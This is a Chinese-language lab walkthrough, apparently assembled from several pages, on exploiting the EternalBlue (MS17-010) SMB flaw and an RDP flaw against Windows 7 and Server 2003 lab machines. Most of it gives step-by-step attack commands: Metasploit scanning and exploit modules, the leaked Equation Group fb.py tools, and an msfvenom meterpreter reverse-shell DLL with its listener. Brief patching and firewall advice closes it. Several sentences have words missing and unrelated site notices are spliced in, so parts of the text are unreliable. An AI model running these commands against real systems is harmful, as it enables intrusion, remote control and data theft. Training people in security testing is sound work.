永恒之蓝的原理可以分为以下几个关键步骤，首先，攻击者需要确定目标系统是否存在MS17-010漏洞，这可以通过扫描目标系统的网络端口来实现。
一旦确认目标系统存在漏洞，攻击者就可以利用特制的网络数据包向目标系统发送攻击代码。
接下来，目标系统收到恶意数据包后，由于漏洞的存在，会导致系统内存发生溢出，恶意代码被执行。
最终，攻击者就可以通过远程控制工具获得对目标系统的控制权，从而实施各种攻击行为。
针对永恒之蓝的威胁，微软公司在爆发勒索软件攻击事件后迅速发布了安全更新，修补了MS17-010漏洞。
因此，及时更新系统补丁是防范永恒之蓝攻击的有效方法。
此外，关闭不必要的网络服务、加强网络安全防护、限制外部访问等措施也可以有效减少受到永恒之蓝攻击的风险。
总之，永恒之蓝是一种利用Windows操作系统漏洞的网络攻击工具，其原理是利用SMB服务的漏洞实现远程执行恶意代码。
永恒之蓝漏洞利用windows7、windows2003——MS17_010
永恒之蓝漏洞利⽤windows7、windows2003——MS17_010⼀、永恒之蓝简述：永恒之蓝是指2017年4⽉14⽇晚，⿊客团体Shadow Brokers（影⼦经纪⼈）公布⼀⼤批⽹络攻击⼯具，其中包含“永恒之蓝”⼯具，“永恒之蓝”利⽤Windows系统的SMB漏洞可以获取系统最⾼权限。
5⽉12⽇，不法分⼦通过改造“永恒之蓝”制作了wannacry勒索病毒，、、整个以及中国国内多个⾼校校内⽹、⼤型企业内⽹和政府机构专⽹中招，被勒索⽀付⾼额赎⾦才能解密恢复⽂件。
⼆、SMB服务简述：SMB(全称是Server Message Block)是⼀个名，它能被⽤于连接和与服务器之间的，端⼝：445。
SMB最初是IBM的贝瑞·费根鲍姆（Barry Feigenbaum）研制的，其⽬的是将中的本地⽂件接⼝“中断13”改造为。
三、实验环境：本次攻击机器：kali linux，ip：192.168.3.110靶机两台：windows server 2003，ip：192.168.3.48windows7，ip：192.168.3.65四、复现【命令我都标红了】：⾸先攻击windows7，靶机的window7版本为旗舰版1.在kaili上使⽤nmap探测win7的端⼝信息：nmap 192.168.3.65，可以看到该机器已开启445端⼝，当然也可以查看该445端⼝的banner信息，命令nmap -sV -p445 192.168.3.65【查看下⾯图⼆】2.使⽤kali⾃带的metasploit，如果是初次使⽤，先输⼊msfconsole进⼊msf，然后键⼊search ms17_010，查询对应的模块3.可以先探测⼀下该系统是否存在永恒之蓝漏洞，当然也可以批量扫描C段，上⾯有五个模块可以选择，扫描的话使⽤auxiliary/scanner/smb/smb_ms17_010，因为⾥⾯包含了scanner，键⼊命令use auxiliary/scanner/smb/smb_ms17_010查询该模块需要的参数，命令show options，可以看到主要的参数是攻击的主机RHOSTS，设置参数：set rhosts 192.168.3.65【不分⼤⼩写】，再键⼊show options 即可查看是否成功赋值上，如果写错了可以选择unset rhosts来取消重新选择4.使⽤run或者exploit命令即可成功查询，可以看到，Host is likely VULNERABLE to MS17-010!【主机可能容易受到MS17-010的攻击!】，证明可能存在永恒之蓝漏洞，下⾯开始利⽤5.漏洞利⽤，回到刚才的ms17_010模块，win7需要使⽤exploit/windows/smb/ms17_010_eternalblue，windows2003使⽤exploit/windows/smb/ms17_010_psexec，win8那个没试过。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
实验环境
•操作机：Windows XP
o IP : 172.16.11.2
•操作机：Kali Linux
o IP : 172.16.12.2
•目标机：Windows 7 64位
o IP : 172.16.12.3
•目标机：Windows Server 2003
o IP : 172.16.12.4
•掌握工具的用法以及临时防御措施
实验步骤
实验工具
•Metasploit：是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。
这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程等
•Equation Group Tools：这是一个集成的工具包，里面包含了IIS6.0、445端口、3389端口、Rootkit等远程利用工具，本次试验我们主要用到它的445端口远程入侵功能，以及3389远程端口入侵功能。
实验内容
Shadow Brokers再次暴露出一份震惊世界的机密文档，其中包含了多个W indows 远程漏洞利用工具，可以覆盖大量的Windows 服务器，一夜之间所有Windows服务器几乎全线暴露在危险之中，任何人都可以直接下载并远程攻击利用，考虑到国内不少高校、政府、国企甚至还有一些互联网公司还在使用W indows 服务器，这次事件影响力堪称网络大地震。
影响版本
全球70% 的Windows 服务器，包括Windows NT、Windows 2000、Windo
ws XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 200 8、Windows 2008 R2、Windows Server 2012 SP0
危害
攻击者通过执行脚本，使目标主机蓝屏重启，获取Windows目标主机权
限，对目标机器进行任意操作，攻击成本和利用条件都很低，只需在本地执行脚本，并设置相关参数。
一旦攻击成功，攻击者能直接控制目标主机，甚至直接下载数据库，盗取商业机密，很多的政府、事业单位都会受到影响，影响极大，危害不言而喻。
步骤1：利用Eternalblue与Doublepulsar插件，验证445 SMB漏洞我们本步骤利用Eternalblue和Doublepulsar这两个"插件"来获取Windows 7 64位的系统权限。
其中Eternalblue可以利用SMB漏洞，获取Windows 7 系统权限
而Doublepulsar可以加载Metasploit生成的恶意DLL。
我们首先进入cmd命令行，在命令行中进入文件夹：
cd C:\EQGRP_Lost_in_Translation-master/Windows
输入命令：
fb.py //运行python文件
注：在一般情况下需要在工具根目录下创建listeningposts文件夹，否则运行文件时，会报错。
接下来依次填入对应信息：
172.16.12.3//目标IP
172.16.11.2//本地IP
no //取消重定向
c:\logs //指定日志文件目录
继续填入相关新信息：
0//创建一个新项目
Test_Win7 //项目名称
Yes //确认路径
到这里就完成了最基本的信息配置，正式启动了脚本，接下来继续进行配置，这时就要用到第一个插件了，使用命令：
use Eternalblue //使用Eternalblue
注意这里要选择操作系统、系统位数、传输方式，我们分别选择Windows 7、64位、FB传输方式，其他配置信息直接按回车键，保持默认即可。
当看到Eternalblue Succeeded字样，代表成功。
接下来需要用到Metasploit，使用Everything搜索并使用XShell连接到Kali Linu x：
连接成功后，使用如下命令生成恶意DLL：
msfvenom-p windows/x64/meterpreter/reverse_tcp LHOST=172.16.12.2LPORT= 12399-f dll >win.dll
这时，/home目录下就会生成win.dll文件，然后使用如下命令进入Metasp loit，设置TCP监听端口，用于接受攻击成功后返回的Shell：
msfconsole
use exploit/multi/handler //使用监听模块
set payload windows/x64/meterpreter/reverse_tcp //设置payload
show options //查看配置信息
set LHOST 172.16.12.2//设置本地IP
set LPORT 12399//设置本地端口
run //运行
如图，Metasploit已经成功运行，等待Shell的返回。
现在将之前生成的win.dll文件通过FTP复制到Windows机器上：
首先点击下图中使用红色小框标示的图
标：
本文中，我将dll文件放在C盘根目录：
接下来使用Doublepulsar来加载生成的dll文件。
注：这里系统位数、后门操作、后门路径，我们分别选择64位、RunDL L、c:\win.dll，其他保持默认即可
配置完之后，提示成功。
我们再来查看Metasploit
可以看到，成功的利用了插件，已经获取了Shell。
然后退回操作机cmd命令行下,重新运行fb.py.准备进行下一步骤.
步骤2：利用Esteemaudit插件，验证3389 RDP漏洞
本步骤利用Esteemaudit插件，来验证漏洞存在。
(本步骤的目标地址为17
2.16.12.4)
与上一步骤一样，首先设置基本信息，这里就不在赘述：
基本信息配置完成之后，下面对ESTEEMAUDIT 插件进行配置：
use ESTEEMAUDIT //使用ESTEEMAUDIT插件
这里我将CallbackPort设置为8899端口（其他端口也可
以）
手动加载rudo_x86.dll和capa_x86.dll，因为插件默认选项都在D盘，它不能识别安装目录，我们复制之前位置，位于C:\EQGRP_Lost_in_Translation-master\windo ws\storage，如
图：
手动加载lipa_x86.dll，原因同
上：
其他保持默认即可。
可以看到，成功执行。
（同学们也可以使用3389端口对Windows Server 2003进行登录,目标IP为172.16.12.4，账号密码为[administrator，ichunqiu123. ]，使用命令netstat -ant 查看是否成功连接）
实验结果分析与总结
本次实验我们成功的使用工具Eternalblue、Doublepulsar、ESTEEMAUDIT对SMB、RDP协议漏洞进行了演示攻击。
临时修复方案
•使用防火墙过滤/关闭137、139、445端口。
•对于3389 远程登录，如果不想关闭的话，至少要关闭智能卡登录功能。
•升级补丁，更新系统。
思考
本文中对445和3389端口进行了验证，请在课下尝试对其他的协议、Payl oad以及其他系统进行尝试。